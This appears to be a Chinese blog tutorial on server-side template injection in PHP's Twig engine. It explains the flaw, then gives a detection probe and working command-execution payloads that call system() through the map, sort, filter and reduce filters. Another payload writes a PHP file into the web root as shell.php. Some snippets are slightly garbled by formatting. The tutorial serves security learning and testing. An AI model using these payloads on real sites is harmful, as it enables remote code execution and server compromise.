目录

模板注入Twig

模板注入(Twig)

模板注入(Twig)

判断什么模板注入的图 https://i-blog.csdnimg.cn/direct/7e20ccde2a4148e4b1136745c5192e02.png

1.模板引擎:

为了使用户界面与业务数据(内容)分离而产生的,模板引擎会提供一套生成html代码的程序,然后只需要获取用户的数据,再放到渲染函数里,生成模板+用户数据的前端html页面,然后反馈给浏览器,呈现在用户面前。模板引擎也会提供沙箱机制来进行漏洞防范,但是可以用沙箱逃逸技术来进行绕过。

2.SSTI漏洞

漏洞成因就是服务端接收了用户的恶意输入以后,未经任何处理就将其作为 Web 应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了用户插入的可以破坏模板的语句,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。其影响范围主要取决于模版引擎的复杂性。

PHP中的SSTI注入(php常见的模板:twig,smarty,blade)

Twig
render("Hello { {name}}", array("name" => $_GET["name"])); // 将用户输入作为模版变量的值 echo $output; ?>

先看上端代码,现在name是一个get传参导入变量,然后将这个变量进行模板渲染,模板渲染的同时模板引擎会默认将该变量进行编码转义,再放入模板中,所以并不会造成跨站脚本攻击

render("Hello {$_GET['name']}");// 将用户输入作为模版内容的一部分       echo$output;                                                                                                                                      ?>

但是这个代码不同,拼接了用户输入作为模板的内容,现在如果再向服务端直接传递 JavaScript 代码,用户输入会原样输出,如果服务端将用户的输入作为了模板的一部分,那么在页面渲染时也必定会将用户输入的内容进行模版编译和解析最后输出。

尝试构造payload

bmjoker{# comment #}{{2*8}}OK

{# comment #}  是Twig 模板引擎的默认注释形式,在前端输出的时候不显示,而{ {2*8}} 是模板变量最终会返回16 作为其值进行显示,因此前端最终会返回内容 Hello bmjoker16OK

https://i-blog.csdnimg.cn/direct/aaccea917faa425d9657bc510782acb8.png

上图是SSTI 扫描检测的大致流程

就是更改请求参数使之承载含有模板引擎语法的 Payload,通过页面渲染返回的内容检测承载的 Payload 是否有得到编译解析,有解析则可以判定含有 Payload 对应模板引擎注入,否则不存在 SSTI。

提供一个针对twig的攻击载荷:

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

上面的载荷为2.x版本,下面是新增了 filter 和 map 等的内容补充的3.x版本的

https://i-blog.csdnimg.cn/direct/e4049f4433c8428a869b871a25507648.png

还有其他

  • { {["id"]|map("system")|join(",")

  • { {["id", 0]|sort("system")|join(",")}}

  • { {["id"]|filter("system")|join(",")}}

  • { {[0, 0]|reduce("system", "id")|join(",")}}

  • { { {"<?php phpinfo();":"/var/www/html/shell.php"}|map("file_put_contents")}}

    (将 PHP 代码 <?php phpinfo(); 写入文件 /var/www/html/shell.php

    如果成功,访问 /var/www/html/shell.php 时会显示 PHP 信息页面。)

map("system")对 数组中的每个元素调用 system 函数

join(",") 将结果用逗号连接成一个字符串。

sort("system") :对数组进行排序,但这里传递了 "system" 作为排序函数,实际上会调用 system 函数。

filter("system") :对数组中的每个元素调用 system 函数。 filter 函数通常用于过滤数组,但这里被滥用为执行系统命令。

reduce("system", "id") :对数组进行归约操作,但这里传递了 "system" 作为回调函数, "id" 作为初始值。实际上会调用 system 函数。

这里解释一下reduce的归约操作:

在 Twig 模板引擎中, reduce 是一个过滤器(filter),用于对数组或集合进行归约操作。

reduce 过滤器的作用是对数组或集合中的元素进行归约操作,最终返回一个单一的值。它的语法如下:

{{ array|reduce(callback, initial) }}
  • array :要归约的数组或集合。
  • callback :回调函数,用于处理每个元素。
  • initial :初始值(可选)。

reduce("system", "id") 的解释

reduce("system", "id") 的用法如下:

{{ [0, 0]|reduce("system", "id")|join(",") }}

参数分解:

  • [0, 0] :要归约的数组,包含两个元素 00
  • "system" :回调函数。这里传递的是字符串 "system" ,Twig 会尝试将其解析为一个可调用的函数。
  • "id" :初始值。这里传递的是字符串 "id"

执行过程:

  1. 初始值:

    • reduce 的初始值是 "id"
  2. 第一次调用回调函数:

    • previousValue :初始值 "id"
    • currentValue :数组的第一个元素 0
    • 调用 system("id", 0) ,即执行系统命令 id
  3. 第二次调用回调函数:

    • previousValue :上一次回调函数的返回值(可能是 id 命令的输出)。
    • currentValue :数组的第二个元素 0
    • 调用 system(previousValue, 0) ,即再次执行系统命令。

结果:

  • system 是 PHP 的一个函数,用于执行系统命令。
  • 因此, reduce("system", "id") 实际上会执行系统命令 id ,并将其输出作为结果。

具体payload分析详见:《 》

《 》